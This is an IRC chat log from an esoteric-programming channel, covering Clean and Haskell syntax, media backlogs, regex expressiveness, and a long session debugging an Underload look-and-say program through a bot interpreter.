01:04:00 <elliott> pikhq: OR ANYTHING
01:04:02 <m00barax> very limited :)
01:04:07 <Sgeo> m00barax, yes. Well, BF is a famous example of an esoteric programming language.
01:04:11 <pikhq> elliott: See, movies that are too old to have been seen by just about everyone alive.
01:04:16 <m00barax> ok
01:04:34 <m00barax> but to me basic is esoterrik too
01:04:41 <pikhq> elliott: But, anyways, I expect to see you next year with a bunch of movies watched.
01:04:48 <pikhq> And books read.
01:04:55 <pikhq> And, heck, games played, too.
01:04:57 <elliott> pikhq: YOU HAVE NO IDEA HOW LONG I HAVE BEEN KEEPING THIS BACKLOG
01:05:01 <pikhq> Hope you don't have anything else to do!
01:05:23 <Sgeo> People actually once used BASIC for stuff. Maybe it deserves to be counted as esoteric, but it isn't, I think.
01:05:31 <m00barax> {0,1}-langage very standard so?
01:05:43 <Sgeo> {0,1}-language?
01:05:45 <elliott> pikhq: Yeah, there are a shitload of games on the list...
01:05:49 <elliott> pikhq: Like any game by Valve ever.
01:06:07 <Sgeo> elliott, you're running in Valve time? That explains it.
01:06:12 <pikhq> elliott: Oh fuck, there's probably RPGs on there too.
01:06:17 <m00barax> binary ? or ternary ?
01:06:25 <elliott> pikhq: I'm not much of an RPG person... but Chrono Trigger is on the list :P
01:06:34 <Sgeo> m00barax, you may be referring to machine code?
01:06:41 <pikhq> elliott: I didn't say "many". Just some.
01:06:44 <m00barax> yep
01:06:52 <elliott> Feel free to suggest additions to the list :P
01:07:02 <pikhq> elliott: Shin Megami Tensei: Persona 3 FES.
01:07:03 <m00barax> its basic.... 0 1
01:07:04 <pikhq> elliott: Shin Megami Tensei: Persona 4.
01:07:12 <elliott> GEE, I COULD NEVER HAVE GUESSED
01:07:15 <Sgeo> No one sane programs directly in machine code. Instead, they program in a language that translates very easily to machine code.
01:07:19 <elliott> I meant non-RPG suggestions, but kay :P
01:07:36 <pikhq> Heck, let's just go for "The entire series". Hope you know Japanese and have a decade free. :P
01:07:37 -!- Jjjj_J_J_J has changed nick to toenail|toe.
01:07:44 <Sgeo> Maybe a long time ago people programmed directly in machine code, I don't know. But assembly to machine code is very simple
01:07:51 <elliott> Neither!
01:07:54 <pikhq> (there's like 50 fucking games. God.)
01:08:08 <m00barax> yep.... but 0-1 its the BF of all BF langages
01:08:16 <elliott> ANYONE ELSE WANT TO EXTEND MY LIST
01:08:41 <pikhq> The Dresden Files. It'll probably be up to 20 books by the time you get around to it.
01:08:46 <Sgeo> m00barax, machine code is actually used. Not by humans, but it's what's _actually running_ on your machine
01:08:51 <m00barax> RPG of ibm ?
01:09:00 <Sgeo> BF, by contrast, is only used by people messing around with BF
01:09:06 <pikhq> Though it'll probably not take you too long to finish — you're not likely to eat or sleep until you finish after starting.
01:09:28 <m00barax> lol... i new that :)
01:10:07 <quintopia> w
01:10:16 <m00barax> RPG is'nt a langage, but a stone-level of minding
01:10:21 <quintopia> does anyone in here want a hand-written letter?
01:10:49 <m00barax> hand? ... i haven't
01:10:56 <Sgeo> Although.. the people here aren't entirely sane [no offense, people who might take offense, I didn't mean it literally]. People here sometimes work somewhat directly with machine code if they have to becase they're working on a project that, strictly speaking, does't need to exist
01:11:12 <pikhq> Sgeo: :)
01:12:20 <Sgeo> m00barax, sometimes, we go off topic. Much more rarely, we go on topic.
01:12:25 <m00barax> hurps- youlahoup?
01:12:36 -!- Tritonio has joined.
01:12:50 <Sgeo> I'm beginning to think m00barax is a bot.
01:13:14 <m00barax> lol, a kind of :/
01:13:38 <m00barax> binary bot?
01:14:11 <m00barax> i'm an esotermik programmers
01:14:42 <m00barax> i do usr g++ and concurrent-Clean
01:14:58 <m00barax> on nux
01:15:26 <Sgeo> I've looked at Clean
01:15:39 <Sgeo> I don't know how to avoid being bored when looking at it though
01:15:48 <Sgeo> I just want to learn the differences between Clean and Haskell
01:15:59 <elliott> are you actually talking in english?
01:16:07 <elliott> are we talking Clean the language that's almost exactly like Haskell?
01:16:22 <m00barax> clean and haskell.... uniquness of typing maybe :)
01:17:05 <m00barax> arrows... category approch of minding
01:17:09 <m00barax> etc
01:17:11 <elliott> why is a function "(a -> b) -> c" written "(a -> b) c" in clean
01:17:12 <elliott> that's just stupid :)
01:18:12 <m00barax> its not typing the same...
01:18:44 <quintopia> m00barax: the word you want it thinking, not minding
01:19:09 <m00barax> yep.... i do tink in french... that wath for :)
01:20:47 <m00barax> (a -> b) -> c not same as (a -> b) c ... in cclean
01:21:09 <elliott> why not?
01:21:50 <m00barax> because 'c' is not linked the same way...
01:22:15 <elliott> m00barax: i seee :)
01:22:21 <elliott> why is (cons x xs) [x:xs]
01:22:28 <elliott> that should be a singleton list of (cons x xs) or something
01:23:10 <m00barax> that sugar-coding :)
01:23:36 <pumpkin> but [5] is [5:[]] ?
01:23:41 <m00barax> (cons x xs) is lambda thinking... not modern langage ...
01:24:07 <m00barax> yes [5] is [5:[]]
01:25:05 <pumpkin> [5:[]:[]] is [[5]]?
01:25:06 <m00barax> why clean is in this channel of "esoteric langage" ?
01:25:21 <pumpkin> or precedence probably makes that [(5:[]):[]]
01:25:58 <m00barax> its one of the better langage with.... haskell ghci ?
01:27:17 <m00barax> (5:[]) is an item of the list [...:[]] .... i think
01:27:41 <elliott> <m00barax> (cons x xs) is lambda thinking... not modern langage ...
01:27:42 <elliott> what?
01:27:49 <elliott> I was just using it as unambiguous notation
01:27:54 <elliott> so that you could see what i'm talking about
01:28:50 <m00barax> yes... (cons a b) is directly term of lisp/scheme or any untyped lambda-langage as is
01:29:10 <elliott> suited towards laptops and simialr systems). A little-known feature
01:29:14 <elliott> ais523: simialr
01:29:19 <elliott> m00barax: sure, but you could easily define that in e.g. haskell
01:29:20 <elliott> cons = (:)
01:29:23 <elliott> then (cons 1 []) = [1]
01:29:47 <m00barax> yes in haskell... not so easy in lisp
01:30:12 <pumpkin> it could easily be a typed language
01:30:20 <m00barax> and what about precedence of operators ?
01:30:31 <pumpkin> there aren't operators
01:30:33 <pumpkin> just application
01:30:54 <m00barax> yes... lisp easy typed langage than ... basic... lol
01:31:08 <pumpkin> I'm saying the syntax could be applied to any language
01:31:18 <m00barax> (:) not an operator ??
01:31:20 <m00barax> hum
01:31:33 <m00barax> a function anyway :)
01:31:45 <pumpkin> operator vs. function is purely syntactic
01:32:03 <m00barax> yes
01:32:40 -!- pumpkin has quit (Quit: Computer has gone to sleep.).
01:32:57 <m00barax> but fondments of operators are easyer to define in function and curry...
01:34:55 -!- toenail|toe has changed nick to Jjjj_J_J_J.
01:35:03 -!- Tritonio_Droid has joined.
01:38:17 -!- Tritonio_Droid has quit (Client Quit).
01:40:02 -!- Tritonio_Droid has joined.
01:45:01 -!- m00barax has quit (Quit: Leaving).
01:47:34 -!- oerjan has joined.
01:49:50 -!- Tritonio has quit (Quit: Leaving).
01:50:07 <elliott> oerjan! hi!
01:50:15 <oerjan> g'day!
01:51:02 <oerjan> <elliott> again... "Asking a linguist how many languages they know is like asking a doctor how many diseases they have."
01:51:15 <elliott> i know i know
01:51:16 <oerjan> yes, but once again, it reminds me of Lockhart's Lament
01:51:18 <elliott> i quoted it as a joke
01:51:29 <elliott> oerjan: meh :P
01:51:48 <oerjan> hm but then again the _opposite_ could also remind me of lockhart's lament
01:52:10 <oerjan> people rote memorizing vocabulary with no overarching understanding
01:53:46 -!- Jjjj_J_J_J has changed nick to TLUL.
01:53:54 <pikhq> AKA "the usual means of learning languages"
01:53:55 <pikhq> :(
01:56:31 <elliott> synchronise target offiufiofoijfoijfoifoifofojfofojfoifiojfoijfoijfoifoif
01:56:32 <elliott> LOL POOP
01:56:33 <elliott> ->
01:56:34 -!- elliott has left (?).
01:56:54 <oerjan> parting the channel just to poop seems a _tad_ excessive
01:57:52 <oerjan> <Sgeo> I saw something on Fark saying that Wikipedia had a redirect...
01:58:18 <oerjan> wikipedia has a policy to use the spelling (am/br) of the region relevant to the topic
01:58:27 <oerjan> when there is one
01:58:49 <oerjan> so it would obviously be World Trade Center
01:58:55 -!- copumpkin has joined.
02:00:43 -!- Tritonio_Droid has quit (Quit: Bye).
02:06:15 <oerjan> <elliott> he didn't know of "share and share alike"
02:06:19 <oerjan> I DENY EVERYTHING
02:06:28 <oerjan> despite not remembering the actual conversation
02:09:24 <Gregor> Man, sox' "earwax" filter is creepsiloo.
02:09:47 <oerjan> ...that sentence is almost poetry
02:10:22 <oerjan> of the lewis carroll type
02:10:36 <Gregor> Supposedly it makes it easier to listen to the audio on headphones by adding "cues" that make your brain hear it outside your head instead of inside your head.
02:10:41 <Gregor> Which it most certainly does.
02:10:45 <Gregor> But for some reason that's just creepy.
02:11:51 <oerjan> <m00barax> i'm an esotermik programmers
02:12:08 <oerjan> beware of esothermic programmers exploding
02:12:39 <oerjan> wait that's exothermic
02:13:00 * oerjan watches his pun stretch to the breaking point, then snap
02:14:55 <oerjan> actually exothermic puns _should_ crash and burn, shouldn't they
02:15:06 <quintopia> no no recovering it now
02:15:08 <quintopia> you already broke it
02:15:28 <oerjan> :(
02:30:51 <Sgeo> Oh, I remember where I've seen "Dagobah" from! It's a website!
02:31:02 -!- augur has joined.
02:32:01 <Sgeo> *sigh*
02:32:09 <Sgeo> Why do I always do things the complicated way?
02:32:47 <Sgeo> Professor was suggesting that putting code for randomness in the Card class was a bad idea, so I "compromise" and initialize a Random lazily
02:43:13 -!- poiuy_qwert has joined.
03:10:20 <Gregor> Horribly Inappropriate Movies LLC presents: Ein Führer und sein Hund, Hitler's story as told from the imagined perspective of his toy poodle Schnitzel.
03:12:16 <oerjan> i'm pretty sure hitler had a real dog
03:13:07 <oerjan> which mind-blowingly enough, probably loved him
03:13:38 <Sgeo> I think that's Gregor's point
03:13:46 <oerjan> http://en.wikipedia.org/wiki/Blondi
03:14:06 <oerjan> well it was not a toy, nor a poodle, nor named Schnitzel
03:14:25 <Gregor> I did not know that, and it somewhat diminishes from the joke :P
03:14:48 <Gregor> Also, I don't think any German speaker under any circumstances would name their dog "Schnitzel" :P
03:15:31 <Sgeo> "Hitler's nurse, Erna Flegel, said in 2005 that Blondi's death had affected the people in the bunker more than Eva Braun's suicide had"
03:15:53 <oerjan> Gregor: YOU DON'T SAY
03:16:12 <Gregor> Sgeo: That ... makes no sense ... wtf. Eva Braun's suicide coincided with Hitler's ...
03:16:34 <Sgeo> http://www.guardian.co.uk/world/2005/may/02/artsandhumanities.secondworldwar is the linked reference
03:27:48 <kfr> Phantom_Hoover> [22:17:37] I just saw the word "zygomorphism".
03:27:48 <kfr> <Phantom_Hoover> [22:17:42] Is kfr being an idiot?
03:27:53 <kfr> What? I never used that word
03:31:49 <oerjan> i'm not sure those lines were connected...
03:33:53 <kfr> 5 seconds, they better be!
03:46:45 <Gregor> Tomorrow is clear ... with a high of 13°F (-11°C) ...
03:48:14 <pikhq> Gregor: You lucky bastard.
03:48:40 <pikhq> Oh, wait, it'll be getting up to 30°F tomorrow.
03:48:44 <pikhq> IT'S POSITIVE!
03:49:04 <pikhq> (note: right now, not only no but fuck no)
03:49:22 -!- Sgeo has changed nick to No.
03:49:28 <No> Registered
03:49:36 -!- No has changed nick to Sgeo.
03:51:24 -!- azaq23 has quit (Ping timeout: 240 seconds).
04:08:30 -!- azaq23 has joined.
04:29:54 -!- leonid has left (?).
04:43:24 -!- augur has quit (Remote host closed the connection).
04:44:57 <oerjan> knock on wood...
04:45:00 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!a(~^)*~**)~a((, )S:^)**^):^
04:45:00 <fungot> 3, 2 ...bad insn!
04:45:18 <oerjan> *sigh*
04:46:04 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!a(~^)*~**)~a((~aS:^):^(, )S:^)**^):^
04:46:04 <fungot> 3((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!a(~^)*~**)~a((~aS:^):^(, )S:^)**^)((~(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S:((a(~^)*~**)~a(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)**~:((:)~(*)**)~a*~(^))~*^^ ...too much output!
04:46:34 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!a(~^)*~**)~a(!(~aS:^):^(, )S:^)**^):^
04:46:34 <fungot> 3((~(:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S:((a(~^)*~**)~a(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)**~:((:)~(*)**)~a*~(^))~*^^^!^)~a*^:)~^(((~(~(:a~*):^)))))((::**)~^)() ...out of stack!
04:48:45 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:48:45 <fungot> 3, 13, 1(::**)~^ ...bad insn!
04:49:06 <oerjan> darn
04:49:15 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:49:15 <fungot> 13, 1(::**)~^ ...bad insn!
04:49:39 <oerjan> ^ul (()~^()~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:49:40 <fungot> 11, 1:^* ...bad insn!
04:49:50 <Sgeo> When do I stop making fun of coppro?
04:50:49 <oerjan> ^ul (()~^()~^)((((:((0)(!(1)(!(2)(!(3)((~a( )*S:^):^))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:50:49 <fungot> 11, 1:^* ...bad insn!
04:50:58 <quintopia> oerjan: what are you writing?
04:51:12 <oerjan> look and say sequence
04:51:50 <oerjan> where the heck can the bad insn come from
04:53:35 <oerjan> ^ul (()~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:53:36 <fungot> 1, 11, 1:^* ...bad insn!
04:53:45 <oerjan> ^ul ((:*)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:53:45 <fungot> 2, 12, 1(:*)~^ ...bad insn!
04:53:58 <quintopia> what is an insn?
04:54:03 <oerjan> ^ul ((:*)~^(:*)~)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:54:03 <fungot> 2, 2^ ...bad insn!
04:54:07 <oerjan> instruction
04:54:25 <oerjan> it means it has somehow managed to execute a non-command character
04:54:57 <oerjan> hm that ^ should not have been printed
04:55:51 <oerjan> ^ul ((:*)~^(:*)~)((((:((a)S(0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:55:51 <fungot> a2, a2a^ ...bad insn!
04:56:13 <oerjan> ^ul ((:*)~^(:*)~)((((:((a)S(0)(!(1)(!(2)(!(3)((b)S_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
04:56:13 <fungot> a2, a2a^ ...bad insn!
04:56:32 <Sgeo> http://www.reddit.com/r/canada/comments/fdy76/disappointed_with_snowmageddon_its_because_theres/
04:59:55 <oerjan> ^ul ((:*)~^(:*)~)((((:(((a)S0)(!((a)S1)(!((a)S2)(!((a)S3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a(((b)S, )S:^)**^):^
04:59:55 <fungot> (a)S2(b)S, (a)S2^a ...bad insn!
05:00:39 <oerjan> ^ul ((:*)~^(:*)~)((((:(((a)S0)(!((b)S1)(!((c)S2)(!((d)S3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
05:00:39 <fungot> (c)S2, (c)S2^d ...bad insn!
05:01:09 <oerjan> it is somehow trying to execute that 3
05:02:15 <oerjan> of course this _should_ be utterly impossible :D
05:03:33 <oerjan> hm
05:03:59 <oerjan> ^ul ((:*)~^(:*)~)((((:aS:(((a)S0)(!((b)S1)(!((c)S2)(!((d)S3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
05:03:59 <fungot> (:*)(c)S2, (:*)(c)S2(((~(~(:a~*):^))))^d ...bad insn!
05:05:07 -!- augur has joined.
05:06:08 <oerjan> ok that thing on top of the stack should be a church numeral but is an equality check instead
05:06:44 <oerjan> to be precise, a check for the number 2
05:08:08 -!- Zuu has quit (Read error: Connection reset by peer).
05:08:13 <oerjan> oh wait i have another bug
05:08:49 <oerjan> ^ul ((:*)~^(:*)~^)((((:aS:(((a)S0)(!((b)S1)(!((c)S2)(!((d)S3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
05:08:49 <fungot> (:*)(c)S2(:*)(c)S2, (:*)(c)S2((:)~(*)**(((~(~(:a~*):^))))):^*d ...bad insn!
05:09:03 * Sgeo insns oerjan
05:09:08 <Ilari> (a<1>c|(b<2>c|))|(a<3>c|(a<4>b|))
05:11:29 <oerjan> hm it _does_ manage to get through the first number for those i've tried.
05:12:10 -!- Zuu has joined.
05:12:14 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
05:12:14 <fungot> 13, 1(::**)~^ ...bad insn!
05:12:32 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((~a(; )S:^):^(, )S:^)**^):^
05:12:32 <fungot> 13; , ...out of stack!
05:13:27 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:13:27 <fungot> 13((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^); (()~^(:a(~^)*~**(::**):a(~^)*~(()(~(~(:a~*):^))(a))~*^^*)~^); (); ...out of stack!
05:13:54 <Ilari> Better example: (0<1>0|1<1>1|)
05:14:20 <oerjan> Ilari: hm?
05:15:45 <Ilari> Regexps + operator that matches anything subexpression can match isn't equivalent to deterministic pushdown automata in power (that describes language no such automaton can match) ...
05:18:38 <Ilari> In fact, it seems that Regexps + operator that matches anything subexpression can match are exactly equivalent to context free grammars in expressive power...
05:19:07 * oerjan doesn't understand that <1> syntax
05:19:59 <Ilari> Matches anything 1st subexpression can match.
05:20:10 <oerjan> and what _is_ the 1st subexpression?
05:20:17 <oerjan> 0<1>0 ?
05:20:18 <Ilari> 0<1>0|1<1>1|
05:20:44 <oerjan> um that's the whole thing there
05:21:11 <oerjan> ok so it's just S := 0 S 0 | 1 S 1
05:21:37 <oerjan> * |
05:22:03 <Ilari> Yup.
05:23:07 <oerjan> ok you can encode an _impossible_ subexpression, and use that to ensure that some branches cannot be taken, which means those branches can be used as independent nonterminals.
05:23:21 <oerjan> i believe that means you can encode any CF grammar, yes
05:25:06 -!- Mannerisky has joined.
05:25:10 <Ilari> One can eliminate impossible nonterminals from CF grammar anyway.
05:25:31 <oerjan> Ilari: um it's not in the _CF_ grammar it is supposed to be impossible
05:26:17 <oerjan> say you have an expression of the form ((0<2>)|...)
05:26:38 <oerjan> then the second subexpression is infinitely recursive, and so cannot be satisfied
05:27:09 <Ilari> Thus, one only needs to reference amount of subexpressions at most equal number of nonterminals in the CFG...
05:27:50 <oerjan> that means that you can use a subexpression of the form (<2>(whatever...)) to make (whatever...) an unreachable subexpression which can only be referred by number
05:29:12 <Ilari> AFAIK, you can match any language CFG can describe without impossible subexpressions.
05:29:13 <oerjan> hm you don't need the outer parentheses
05:29:22 <oerjan> oh?
05:29:44 <oerjan> hm i guess
05:30:27 <oerjan> since if you need them, they must be reachable _somewhere_ from S, and you can then put the rules for that nonterminal in any of those spots and replace the others by references to that one
05:30:34 <Ilari> Because algorithmical manner of generating those would only generate impossible subexpression if there was impossible nonterminal in the CFG. And one can eliminate those.
05:30:59 <Ilari> Or impossible production.
05:31:05 <oerjan> i think i see it now
05:31:40 <Ilari> The elimination works because emptyness of CFG is decidable problem.
05:31:58 <oerjan> i know
05:35:03 <Ilari> Going the other way can require more nonterminals than there are subexpressions in the original (in order to deal with Kleene closures).
05:36:25 <oerjan> (<1>+<2>|<1>-<2>|(<2>*<3>|<2>/<3>|(<4>^<3>|(\(<5>\)|(<number>)))))
05:36:42 <oerjan> or something like that
05:40:23 -!- pikhq has quit (Remote host closed the connection).
05:40:39 -!- pikhq has joined.
05:41:06 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^(~!(x)S:^):^)!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:41:07 <fungot> ...out of stack!
05:41:50 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^(~!(x)S:^):^!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:41:50 <fungot> 13xxxxxxx ...out of stack!
05:42:43 <oerjan> ^ul (()~^(::**)~^(:*)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^(~!(x)S:^):^!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:42:44 <fungot> 132xxxxxxxx ...out of stack!
05:43:20 <oerjan> ...ok the stack is _not_ supposed to be that deep at that point, and adding a digit seems to make it deeper
05:43:36 <oerjan> ^ul (()~^()~^(::**)~^(:*)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^(~!(x)S:^):^!!!a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:43:36 <fungot> 1132xxxxxxxxx ...out of stack!
05:43:58 <oerjan> and it doesn't matter if there are consecutive equal numbers. hm.
05:46:44 <oerjan> ^ul (()~^()~^(::**)~^(:*)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!(~a(; )S:^):^a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:46:44 <fungot> 1132; ((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!(~a(; )S:^):^a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^); (~a(; )S:^(:a(~^)*~**(:*):a(~^)*~(()(~(~(:a~*):^))(a))~*^^*)~^(:a(~^)*~**(:*):a(~^)*~(()(~ ...too much output!
05:52:12 -!- Mathnerd314 has quit (Remote host closed the connection).
05:53:03 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!(~a(; )S:^):^a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^):^
05:53:03 <fungot> 3; ((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!(~a(; )S:^):^a(~^)*~**)~a((~a(; )*S:^):^(, )S:^)**^); (~a(; )S:^()~^()); ((::**)~^); (); ...out of stack!
05:54:34 -!- Vorpal has quit (Read error: Connection reset by peer).
05:54:56 -!- Vorpal has joined.
05:56:17 <kfr> There should be an initiative for using more Unicode in programming languages
05:56:19 <kfr> And colours!
05:56:38 -!- poiuy_qwert has quit (Ping timeout: 255 seconds).
